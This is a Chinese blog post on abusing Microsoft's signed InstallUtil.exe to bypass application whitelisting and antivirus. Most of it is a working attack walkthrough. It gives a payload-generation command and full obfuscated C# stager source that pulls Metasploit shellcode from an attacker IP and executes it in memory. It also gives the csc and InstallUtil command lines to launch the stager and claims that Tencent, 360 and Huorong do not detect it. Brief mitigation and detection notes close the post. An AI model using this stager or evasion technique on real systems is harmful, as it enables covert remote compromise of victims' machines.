qt5 执行exe带参数_白名单InstallUtil.exe绕过火绒|腾讯管家|360杀毒等杀软

0x00 简介

ATT&CK编号: T1118

战术: 防御逃避,执行

平台: Windows

所需权限: 用户

数据源: 进程监视,进程命令行参数

绕过防御: 进程白名单,数字证书验证

InstallUtil 是一个命令行实用程序,它允许通过执行。net 二进制文件中指定的特定安装程序组件来安装和卸载资源。[1] InstallUtil 位于 Windows 系统的。NET 目录中: C:WindowsMicrosoft.NETFrameworkvInstallUtil.exeC:WindowsMicrosoft.NETFramework64vInstallUtil.exe. InstallUtil.exe 具有 Microsoft 的数字签名。 攻击者可以通过受信的 Windows 实用程序使用 InstallUtil 来代理代码的执行。 通过利用执行由 [System.ComponentModel.RunInstaller(true)]。[2]修饰的类的二进制文件中的属性,InstallUtil 还可用于来绕过进程白名单。

0x01 环境

攻击机:Kali

受害机:Windows7

依赖环境:http://Microsoft.NET Framework v4.0.30319

0x02 利用过程

用的比较多的是CSC.exe+InstallUtil.exe加载shellcode,流程为:msf生成C#格式shellcode -> 加密shellcode -> 解密并加载shellcode -> csc.exe编译成.jpg文件 -> InstallUtil.exe白名单执行。

1. 常规用法

项目地址:https://github.com/khr0x40sh/WhiteListEvasion.git

生成cs文件

python InstallUtil.py --cs_file temp.cs --exe_name temp.exe --payload windows/meterpreter/reverse_https --lhost 192.168.1.11 --lport 443

csc.exe pentestlab.cs

7070712a17794656089e7d64114f850d.png

攻击机打开msf中使用windows/x64/meterpreter/reverse_tcp设置监听

859af88338812de00b1e2b1180d8583c.png

.InstallUtil.exe /logfile= /logtoconsole=false /u pentestlab.exe

1217d2582113e63122d08ba826aa62eb.png

msf上线成功

8544cebad8c294f8052b7144c15d0215.png

此方法目前已经不免杀

2. 免杀用法

将下面代码的QxKpvX =lXsdNPt("192.168.3.223",8888);部分改为MSF监听的IP和端口,这种类似于开个socket接收MSF传送来的shellcode进行执行

using System;
using System.Net;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
using System.Configuration.Install;
using System.Windows.Forms;
public class xikGyQhiWFtLfea {
    public static void Main() {
        while (true)  { {
                MessageBox.Show("doge");
                Console.ReadLine();
            }


        }


    }


}


[System.ComponentModel.RunInstaller(true)]
public class tlVMKernIcgK : System.Configuration.Install.Installer {
    public override void Uninstall(System.Collections.IDictionary DfYhOEiegJczVcb) {
        xPdYsYuXnSnGw.poQMzdP();
    }


}


public class xPdYsYuXnSnGw {
    [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 JkWcZPjIfoHi, UInt32 QzVLSfv, UInt32 WwZvpI, UInt32 kzasnlrCx);
    [DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 pHkjjhGC, UInt32 nvhwAfGRpaan, UInt32 omtHlqvnYUwang, IntPtr RjAkyAqEjlRcyn, UInt32 JCivBCMUx, ref UInt32 HCBPuOkvhoYUG);
    [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr wYVgya, UInt32 ikklPOdvYt);
    static byte[] lXsdNPt(string GpvIvURjyADhMjk, int YCtOqjKhKOVx) {
        IPEndPoint SzcUwwr = new IPEndPoint(IPAddress.Parse(GpvIvURjyADhMjk), YCtOqjKhKOVx);
        Socket chQxzayBFUMpqt = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
        try {
            chQxzayBFUMpqt.Connect(SzcUwwr);
        } catch {
            return null;
        }


        byte[] DlkoUdk = new byte[4];
        chQxzayBFUMpqt.Receive(DlkoUdk, 4, 0);
        int AXwxWBmSOrwh = BitConverter.ToInt32(DlkoUdk, 0);
        byte[] GwvBqMFF = new byte[AXwxWBmSOrwh  +  5];
        int vWjTky = 0;
        while (vWjTky < AXwxWBmSOrwh)  {
            vWjTky += chQxzayBFUMpqt.Receive(GwvBqMFF, vWjTky  +  5, (AXwxWBmSOrwh  -  vWjTky) < 4096 ? (AXwxWBmSOrwh  -  vWjTky) : 4096, 0);
        }


        byte[] SYFASUFosCHjk = BitConverter.GetBytes((int)chQxzayBFUMpqt.Handle);
        Array.Copy(SYFASUFosCHjk, 0, GwvBqMFF, 1, 4);
        GwvBqMFF[0] = 0xBF;
        return GwvBqMFF;
    }


    static void mjnxRGlBtgsKaNL(byte[] HCpaoWPeusDevY) {
        if (HCpaoWPeusDevY != null)  {
            UInt32 VcgiCTPFDF = VirtualAlloc(0, (UInt32)HCpaoWPeusDevY.Length, 0x1000, 0x40);
            Marshal.Copy(HCpaoWPeusDevY, 0, (IntPtr)(VcgiCTPFDF), HCpaoWPeusDevY.Length);
            IntPtr syuSYjh = IntPtr.Zero;
            UInt32 TLwAODfreIhMN = 0;
            IntPtr IaskpTOKF = IntPtr.Zero;
            syuSYjh = CreateThread(0, 0, VcgiCTPFDF, IaskpTOKF, 0, ref TLwAODfreIhMN);
            WaitForSingleObject(syuSYjh, 0xFFFFFFFF);
        }


    }


    public static void poQMzdP() {
        byte[] QxKpvX = null;
        QxKpvX = lXsdNPt("192.168.3.223", 8888);
        mjnxRGlBtgsKaNL(QxKpvX);
    }


}

将cs文件传到受害机的C:WindowsTemp目录,然后使用csc编译shell.cs

C:WindowsMicrosoft.NETFramework64v4.0.30319>csc.exe /platform:x64 /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:C:WindowsTempshell.exe /unsafe C:WindowsTempshell.cs

1dabd9ed44f570724c48e76a124fc907.png

攻击机打开msf中使用payload:windows/x64/meterpreter/reverse_tcp设置监听

6099e6e5dbff5a3d1da720723f36ddeb.png

编译生成的shell.exe直接执行是不行的,需要使用InstallUtil.exe来触发。

C:WindowsMicrosoft.NETFramework64v4.0.30319>InstallUtil.exe /logfile= /LogToConsole=false /U C:WindowsTempshell.exe

b9bbd226120ed79e53e71a83bb786269.png

msf上线成功

457218806b1f556868556b825425b7be.png

0x03 查杀效果

使用InstallUtil.exe执行shell.exe,腾讯管家、360杀毒、火绒动态和静态均无预警。

0695d258317224b82b032c20329665a0.png

360安全卫士会检测到InstallUtil.exe执行预警。

01e32bb718c88cf0cf1c32d18f51cf30.png

http://VirusTotal.com中shell.exe文件3/71个报病毒。

83eb3b149fad49074d94647c9517c491.png

0x04 缓解

在给定的环境中,InstallUtil 可能不是必需的。 如果给定的系统或网络不需要 InstallUtil.exe,配置应用程序白名单来拦截其执行,防止攻击者潜在的滥用。

0x05 检测

使用进程监视来监视 InstallUtil.exe 的执行和参数。 将 InstallUtil.exe 最近的调用与之前的已知良好参数调用和已执行的二进制文件进行比较,以确定异常和潜在的攻击活动。 InstallUtil.exe 调用前后使用的命令参数也可能有助于确定执行的二进制文件的来源和目的。

0x06 参考资料

InstallUtil&csc.exe-bypass application whitelisting

csharp 编译文件绕过防病毒软件利用手法分析

MITRE ATT&CK InstallUtil


版权声明:本文为weixin_39787628原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。